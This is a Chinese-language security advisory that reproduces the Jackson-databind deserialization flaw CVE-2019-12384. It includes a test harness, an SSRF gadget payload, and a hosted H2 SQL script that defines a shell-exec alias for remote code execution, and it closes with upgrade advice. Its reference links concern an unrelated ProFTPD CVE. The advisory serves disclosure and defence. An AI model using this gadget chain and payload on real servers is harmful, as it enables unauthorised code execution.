近日,HSCERT监测到,国外安全研究员在分析一个使用Jackson库对JSON进行反序列化的应用程序时,发现了一个反序列化漏洞,可以控制要反序列化的类。
我们分析复现如何利用此反序列化漏洞来触发服务器端请求伪造(SSRF)漏洞和远程代码执行漏洞(RCE)。
漏洞对应的编号为CVE-2019-12384,RedHat的多个分支受该漏洞影响,如下所示:
触发这个Jackson漏洞需要满足如下要求:
1、目标应用接收来不可信客户端发送的JSON数据;
2、目标应用使用多态类型处理方式来处理java.lang.Object类型(或者少数几个可使用的接口,如java.util.Serializable、java.util.Comparable)的属性;
3、目标应用至少包含能够在Java classpath中利用的一个“gadget”类。漏洞利用过程中需要用到能够配合Jackson的一个类;
4、目标应用使用的Jackson并没有阻止这个特定的“gadget”类。
在此次研究过程中,我们假设利用场景已满足条件1及条件2。实际上,我们重点寻找的是能够满足条件3及条件4的gadget。需要注意的是,Jackson是Java应用程序中最常使用的反序列化框架之一,而多态(polymorphism)是其中最重要的一个概念。如果攻击者使用静态分析工具或者其他动态分析技术来寻找满足这些条件的利用点,那么这些目标定位起来并不是特别难。
当Jackson反序列化ch.qos.logback.core.db.DriverManagerConnectionSource时可以滥用这个类来实例化JDBC链接。JDBC的全称是“(J)ava (D)ata(b)ase (C)onnectivity”,这是一个Java API,用来连接数据库并执行查询语句,也是JavaSE(Java Standard Edition)的一部分。此外,JDBC使用了字符串到类的自动化映射,因此在整条攻击链中,这是用来加载并执行更多“gadget”的绝佳目标。
为了演示攻击过程准备了一个封装器(wrapper),用来加载攻击者指定的各种多态类。在环境方面使用的是基于Java虚拟机(JVM)的jRuby,用来加载并实例化Java类。
使用该环境来加载指定目录中的Java类,准备满足条件1及条件2的Jackson环境。为了完成该任务,我们开发了如下jRuby脚本:
require 'java'
Dir["./classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
content = ARGV[0]
puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)
脚本主要执行如下操作:
1、第2行,加载classpath子目录中JAR中包含的所有类;
2、第5-13行,配置Jackson以满足漏洞利用条件;
3、第14-17行,反序列化及序列化以JSON形式传递给jRuby的一个Jackson多态对象。
复现攻击过程,需要下载如下库,将这些库存放在classpath
目录中:
jackson-databind-2.9.8
jackson-annotations-2.9.8
jackson-core-2.9.8
logback-core-1.3.0-alpha4
h2-1.4.199
SSRF
使用如下命令来调用之前开发好的脚本:
jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://192.168.17.129:8000/test\"}]"
攻击效果如下:
RCE
需要通过python构建一个简单的HTTP服务器
python -m SimpleHTTPServer
>>>Serving HTTP on 0.0.0.0 port 8000 ...
>>>127.0.0.1 "GET /inject.sql HTTP/1.1" 200 -
托管如下inject.sql INIT文件:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {
"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > exploited.txt')
test.rb
require 'java'
Dir["./classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
content = ARGV[0]
puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)
攻击效果如下:
高危
Jackson-databind 2.x <= 2.9.9
FasterXML已经修复了2.9.9.1版本中的漏洞,请尽快升级Jackson-databind
https://www.cert-bund.de/advisoryshort/CB-K19-0642
https://www.bleepingcomputer.com/news/security/proftpd-remote-code-execution-bug-exposes-over-1-million-servers/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12815
http://tbspace.de/cve201912815proftpd.html
如需帮助请咨询 [email protected]